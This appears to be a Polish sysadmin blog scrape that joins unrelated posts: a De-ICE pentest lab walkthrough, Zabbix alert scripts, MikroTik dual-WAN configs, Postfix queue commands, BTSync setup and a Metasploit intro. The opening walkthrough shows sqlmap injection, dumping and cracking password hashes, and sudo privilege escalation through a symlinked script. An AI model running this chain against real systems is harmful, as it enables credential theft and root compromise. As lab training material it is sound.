80/tcp open http Apache httpd 2.2.11 ((Unix) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8k PHP/5.2.9 mod_apreq2-20051231/2.6.0 mod_perl/2.0.4 Perl/v5.10.0)
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Primaline :: Quality Kitchen Accessories
443/tcp open ssl/http Apache httpd 2.2.11 ((Unix) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8k PHP/5.2.9 mod_apreq2-20051231/2.6.0 mod_perl/2.0.4 Perl/v5.10.0)
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Primaline :: Quality Kitchen Accessories
| ssl-cert: Subject: commonName=localhost/organizationName=Apache Friends/stateOrProvinceName=Berlin/countryName=DE
| Not valid before: 2004-10-01T08:10:30+00:00
|_Not valid after: 2010-09-30T08:10:30+00:00
|_ssl-date: 2014-04-23T11:50:09+00:00; -2s from local time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_IDEA_128_CBC_WITH_MD5
| SSL2_RC2_CBC_128_CBC_WITH_MD5
| SSL2_RC4_128_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC2_CBC_128_CBC_WITH_MD5
|_ SSL2_RC4_128_EXPORT40_WITH_MD5
3306/tcp open mysql MySQL (unauthorized)
MAC Address: 08:00:27:37:BA:3D (Cadmus Computer Systems)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.13 – 2.6.32
Network Distance: 1 hop
Service Info: OS: Unix
TRACEROUTE
HOP RTT ADDRESS
1 0.44 ms 192.168.1.120

# Wykonujemy atak sql-injection na odkrytą przez nmap stron www na adresie IP 192.168.1.120

root@kali:~/de-ice/1.120# sqlmap -u http://192.168.1.120/products.php?id=NULL

root@kali:~/de-ice/1.120# sqlmap -u http://192.168.1.120/products.php?id=NULL –users –passwords

# Po uzyskaniu haseł za pomocą narzędzia sqlmap ( haseł dostępowych do sql ), wykorzystujemy narzedzie john the ripper

root@kali:~/de-ice/1.120# john /tmp/sqlmaphashes-BMaKet.txt

# Sprawdzamy przykładowy uzyskany dostęp :

root@kali:~/de-ice/1.120# ssh bbanter @ 192.168.1.120

# Sprawdzamy kolejno plik passwd /etc/group , uzyskujemy tutaj informacje o istnieniu usera ccoffee który należy do grupy admin ,

# Po zalogowaniu na usera ccoffee , widzimy że ma on możliwość uruchomienia pliku z parawami roota

ccoffee@slax:~$ sudo -l
User ccoffee may run the following commands on this host:
(root) NOPASSWD: /home/ccoffee/scripts/getlogs.sh

# Używamy skrótu aby dodać uruchamianie powłoki /bin/bash

ccoffee@slax:~$ mv scripts/getlogs.sh scripts/getlogs.sh.bkup
ccoffee@slax:~$ ln -s /bin/bash scripts/getlogs.sh
ccoffee@slax:~$ sudo scripts/getlogs.sh
root@slax:~# id

# Gotowe

1.) Tworzymy plik ze skryptem w lokalizacji /usr/lib/zabbix/alertscripts/gmail.sh
2.) Skrypt:

#!/usr/bin/python

# -*- coding: utf-8 -*-

„””

Zabbix SMTP Alert script for gmail.

„””

import sys

import smtplib

from email.MIMEText import MIMEText

from email.Header import Header

from email.Utils import formatdate

# Mail Account

MAIL_ACCOUNT = ‘twojekonto@gmail.com’

MAIL_PASSWORD = ‘TWOJE HASLO DO POCZTY’

# Sender Name

SENDER_NAME = u’Zabbix Alert’

# Mail Server

SMTP_SERVER = ‚smtp.gmail.com’

SMTP_PORT = 587

# TLS

SMTP_TLS = True

def send_mail(recipient, subject, body, encoding=‚utf-8′):

session = None

msg = MIMEText(body, ‚plain’, encoding)

msg[’Subject’] = Header(subject, encoding)

msg[’From’] = Header(SENDER_NAME, encoding)

msg[’To’] = recipient

msg[’Date’] = formatdate()

try:

session = smtplib.SMTP(SMTP_SERVER, SMTP_PORT)

if SMTP_TLS:

session.ehlo()

session.starttls()

session.ehlo()

session.login(MAIL_ACCOUNT, MAIL_PASSWORD)

session.sendmail(MAIL_ACCOUNT, recipient, msg.as_string())

except Exception as e:

raise e

finally:

# close session

if session:

session.quit()

if __name__ == ‚__main__’:

„””

recipient = sys.argv[1]

subject = sys.argv[2]

body = sys.argv[3]

„””

if len(sys.argv) == 4:

send_mail(

recipient=sys.argv[1],

subject=sys.argv[2],

body=sys.argv[3])

else:

print u”””requires 3 parameters (recipient, subject, body)

\t$ zabbix-gmail.sh recipient subject body

„””

 

3.) Uzupełniamy dane w skrypcie powyżej  ( konta gmail ),
4.) Podpinamy skrypt w zakładce administracja -> typ mediow ( nazwa skryptu / nazwa w zabbix )
5.) Uruchamiamy akcje wysyłania w administracja -> akcja

apt-get install zabbix-agent
nano /etc/zabbix/zabbix_agentd.conf [ zmiana ip servera  ]
service zabbix-agent restart

rpm -ivh http://repo.zabbix.com/zabbix/2.0/rhel/6/x86_64/zabbix-release-2.0-1.el6.noarch.rpm

# Instalujemy agenta:

yum install zabbix-agent

# Konf. agenta:

nano /etc/zabbix/zabbix_agentd.conf

Podczas wdrożenia nowej maszyny wirtualnej należy przygotować adres IP oraz utworzyć jego MAC. ( za pomocą panelu OVH ), następnie:

-> Tworzymy nową VM, podczas tworzenia w zakładce kart sieciowych podajemy adres MAC ( z przygotowanego wczesniej adresu IP ),
-> Podczas instalacji nowego systemu na VM w pole adres IP wpisujemy adres IP, w pole maska: 255.255.255.0 , w pole gateway: x.x.x.254 ( w X wstawiamy kolejne grupy IP które posiadamy ),

Cel:

2xWAN + fail-over

Wykonanie:

/ip address

add address=192.168.0.1/24 disabled=no interface=LAN network=192.168.0.0

add address=192.168.1.2/24 disabled=no interface=WAN1 network=192.168.1.0

add address=192.168.2.2/24 disabled=no interface=WAN2 network=192.168.2.0

/ip dns

set allow-remote-requests=yes cache-max-ttl=1w cache-size=5000KiB \

max-udp-packet-size=512 servers=208.67.222.222,202.141.224.34

# Or use your ISP's DNS

/ip firewall nat

add action=masquerade chain=srcnat disabled=no out-interface=WAN1

add action=masquerade chain=srcnat disabled=no out-interface=WAN2

#### Following is ROUTE section where we will be using check-gateway function to monitor external hosts from each wan

/ip route

add dst-address=8.8.8.8 gateway=192.168.1.1 scope=10

add dst-address=221.132.112.8 gateway=192.168.2.1 scope=10

add distance=1 gateway=8.8.8.8 check-gateway=ping

add distance=2 gateway=221.132.112.8 check-gateway=ping

Założenia:

2x WAN
1x LAN ( w konfiguracji bridge z portami LAN + WLAN ),

Cel:

+ Failover na dwa łącza ( jedno nie działa uruchamia się drugie ),
+ Load balancing ( markowanie ruchu – przekierowanie część ruchu na jedno lub drugie łącze )

Wykonanie:

– LAN : 192.168.0.0
– WAN1 : 192.168.1.0 gateway: 192.168.1.1
– WAN2 : 192.168.2.0 gateway: 192.168.2.1

/ip address


add address=192.168.0.1/24 disabled=no interface=LAN network=192.168.0.0
add address=192.168.1.2/24 disabled=no interface=WAN1 network=192.168.1.0
add address=192.168.2.2/24 disabled=no interface=WAN2 network=192.168.2.0

 

/ip dns

set allow-remote-requests=yes cache-max-ttl=1w cache-size=5000KiB max-udp-packet-size=512 servers=208.67.222.222,202.141.224.34

 

/ip firewall mangle

add action=accept chain=prerouting disabled=no dst-address=192.168.1.0/24 in-interface=LAN

add action=accept chain=prerouting disabled=no dst-address=192.168.2.0/24 in-interface=LAN

add action=mark-connection chain=input disabled=no in-interface=WAN1 new-connection-mark=WAN1_mark passthrough=yes

add action=mark-connection chain=input disabled=no in-interface=WAN2 new-connection-mark=WAN2_mark passthrough=yes

add action=mark-routing chain=output connection-mark=WAN1_mark disabled=no new-routing-mark=to_ISP1 passthrough=yes

add action=mark-routing chain=output connection-mark=WAN2_mark disabled=no new-routing-mark=to_ISP2 passthrough=yes

add action=mark-connection chain=prerouting disabled=no dst-address-type=!local in-interface=LAN new-connection-mark=WAN1_mark passthrough=yes per-connection-classifier=both-addresses-and-ports:2/0

add action=mark-connection chain=prerouting disabled=no dst-address-type=!local in-interface=LAN new-connection-mark=WAN2_mark passthrough=yes per-connection-classifier=both-addresses-and-ports:2/1

add action=mark-routing chain=prerouting connection-mark=WAN1_mark disabled=no in-interface=LAN new-routing-mark=to_ISP1 passthrough=yes

add action=mark-routing chain=prerouting connection-mark=WAN2_mark disabled=no in-interface=LAN new-routing-mark=to_ISP2 passthrough=yes

 

# Default masquerade rule for both WAN links

 

/ip firewall nat

add action=masquerade chain=srcnat disabled=no out-interface=WAN1

add action=masquerade chain=srcnat disabled=no out-interface=WAN2

 

 

###   ROUTE SECTION   ###

### Magic begins here

 

/ip route

 

# Adding static routes for Google/TW which will be used further below to test both WAN link connectivity

add dst-address=8.8.8.8 gateway=192.168.1.1 scope=10

add dst-address=221.132.112.8 gateway=192.168.2.1 scope=10

## Now we create route for PCC marked packets routing mark:

 

add distance=1 gateway=8.8.8.8 routing-mark=to_ISP1 check-gateway=ping

add distance=2 gateway=221.132.112.8 routing-mark=to_ISP2 check-gateway=ping

 

## Create destinations to "virtual" hops to be use in further routes

add dst-address=10.0.0.1 gateway=8.8.8.8 scope=10 target-scope=10 check-gateway=ping

add dst-address=10.0.0.2 gateway=221.132.112.8 scope=10 target-scope=10 check-gateway=ping

 

## Add default routes for both isp's marked packets by PCC mangle section

add distance=1 gateway=10.0.0.1 routing-mark=to_ISP1

add distance=2 gateway=10.0.0.2 routing-mark=to_ISP2

 

## Add default routes for no routing marks , For router itself

add distance=1 gateway=10.0.0.1

add distance=2 gateway=10.0.0.2

Building native extensions. This could take a while…
ERROR: Error installing sqlite3-ruby:
ERROR: Failed to build gem native extension.

/usr/bin/ruby1.8 extconf.rb
checking for sqlite3.h… no
sqlite3.h is missing. Try 'port install sqlite3 +universal’ or 'yum install sqlite3-devel’
*** extconf.rb failed ***
Could not create Makefile due to some reason, probably lack of
necessary libraries and/or headers. Check the mkmf.log file for more
details. You may need configuration options.

Provided configuration options:
–with-opt-dir
–without-opt-dir
–with-opt-include
–without-opt-include=${opt-dir}/include
–with-opt-lib
–without-opt-lib=${opt-dir}/lib
–with-make-prog
–without-make-prog
–srcdir=.
–curdir
–ruby=/usr/bin/ruby1.8
–with-sqlite3-dir
–without-sqlite3-dir
–with-sqlite3-include
–without-sqlite3-include=${sqlite3-dir}/include
–with-sqlite3-lib
–without-sqlite3-lib=${sqlite3-dir}/lib

Gem files will remain installed in /usr/lib/ruby/gems/1.8/gems/sqlite3-ruby-1.3.1 for inspection.
Results logged to /usr/lib/ruby/gems/1.8/gems/sqlite3-ruby-1.3.1/ext/sqlite3/gem_make.out

Rozwiązanie:

wget http://www.sqlite.org/sqlite-amalgamation-3.7.2.tar.gz
tar xzf sqlite-amalgamation-3.7.2.tar.gz
cd sqlite-3.7.2/

./configure
make
make install

gem install rails sqlite3-ruby

Dzisiejsze działania ? … usunięcie spamu z komentarzu, uporządkowanie, lekkie odświeżenie i przetarcie z kurzu Działamy !

Redirect /kontakt http://example.com/newdirectory/

Gdzie w pozycje kontakt wstawiamy ,np. adres.pl/kontakt a dalej adres przekierowujący…

Co dalej ? – Plany:

-> Rozwój FPGA,
-> Rozwój SEM / SEO ,
-> Certyfikacja Google,

Na pewno nie jest tak że wcale nie działamy – rozwój, i to konieczny nie ma czasu na wspominanie, jest czas na dodatkową prace. Na pewno będe informował jak się sprawa będzie rozwijać i jak z tym  Trzymajcie kciuki

postqueue -p
wyświetla listę wszystkich wiadomości w kolejce

postsuper -d (Queue ID)
pozwala usuwać wiadomość z kolejki o danym ID

postsuper -d ALL
usuwa wszystkie wiadomości z kolejki

postsuper -h (Queue ID)
zatrzymanie wiadomośic w kolejce (kolejka hold)

postsuper -H (Queue ID)
przeniesienie wiadomości z powrotem do menadżera kolejek

postsuper -r ALL
zwraca wiadomości z powrotem do kolejki, wiadomości te otrzymują nowe identyfikatory i dodatkowy nagłówek Received

postcat -q
wyświetlanie zawartości pliku kolejki

postqueue -f
wypychanie wiadomości

postqueue -s domena.com
wypychanie wiadomości domeny domena.com

mailq -q /identyczne do sendmail -bp/
lista wiadomości w kolejce do obsłużenia

Jak to działa ?
-> Tworzymy folder na serwerze bittorrent, do którego ma być synchronizacja,
-> Pod ten folder podpinamy komputer, = trwa synchronizacja plików miedzy komputerem a serwer,

Proces instalacji:  ( / Debian / Ubuntu )

Opcjonalnie:

sudo apt-get update
sudo apt-get install python-software-properties

sudo add-apt-repository ppa:tuxpoldo/btsync

Ważne: 

sudo apt-get update
sudo apt-get install btsync

lub

Pobieramy:

http://labs.bittorrent.com/experiments/sync.html

rozpakowujemy:
tar xzpf btsync_glibc23_x64.tar.gz
Odpalamy:
./btsync

Dodatkowo help:
./btsync –help

Przykładowo zmiana pliku z konfiguracją:

./btsync -config /lokalizacja

 

Logowanie do webplatformy odbywa się poprzez http://adresip:8888

Przykładowy plik konfiguracyjny:

//!/usr/lib/btsync/btsync-daemon –config
//
// in this profile, btsync will run as my user ID
// DAEMON_UID=gemma
//
{
„device_name”: „my server”,
„storage_path” : „/home/gemma/.btsync”,
„listening_port” : 12345,
„check_for_updates” : false,
„use_upnp” : false,
„download_limit” : 0,
„upload_limit” : 0,
„disk_low_priority” : true,
„lan_encrypt_data” : true,
„lan_use_tcp” : false,
„rate_limit_local_peers” : false,
„folder_rescan_interval” : 600,
„webui” :
{
},
„shared_folders” :
[
{
„secret” : „my folder key”,
„dir” : „/path/to/my/synced/folder”,
„use_relay_server” : true,
„use_dht” : false,
„search_lan” : false,
„use_sync_trash” : true
}
]
}

 

Owocnej zabawy

prezentacja bitcoinPrezentacja BITCOIN.

Aktualnie w sieci pełno jest miejsc do którego włamanie nie jest większym problemem ze względu na istnienie stron które w jawny sposób pokazują, a nawet lepiej udostępniają gotowe skrypty do włamania i osiągnięcia pewnego celu. Takiego jak wysyłanie spamu/infekowanie użytkowników.  Spotkałem sie z tym niejednokrotnie podczas administracji stronami – najwięcej błędów jest oczywiście w skryptach gdzie kod źródłowy jest ogólniedostepny. ( wordpress/joomla… itp. ).

Wracając do narzędzia metasploit pozwala on na automatyzacje pewnych czynności jak i wykorzystywanie konkretnych exploitów ( które znajdziemy w sieci – lub sami utworzymy ). W sieci nie ma wiele poradników na temat konkretnego użycia, dostępna jest ksiązka z helionu która opisuje pewne czynności. Jednak nic ona nie da bez konretnego wgryzienia się w temat. Powoli wgryzając sie w temat możemy zobaczyć ile tak na prawde niebezpieczeństw istnieje w samym systemie z którego korzystamy i co osoba która wejdzie do naszej sieci może nam zrobić ( z odpowiednimi umiejętnościami ). Pisząc ten krótki wstep na temat narzędzia metasploit a właściwie jest ich o wiele więcej do pentestów, chciałbym się zmotywować w pewien sposób do opisania więcej szczegułów nauki i poznawania świata „niebezpieczeństwa”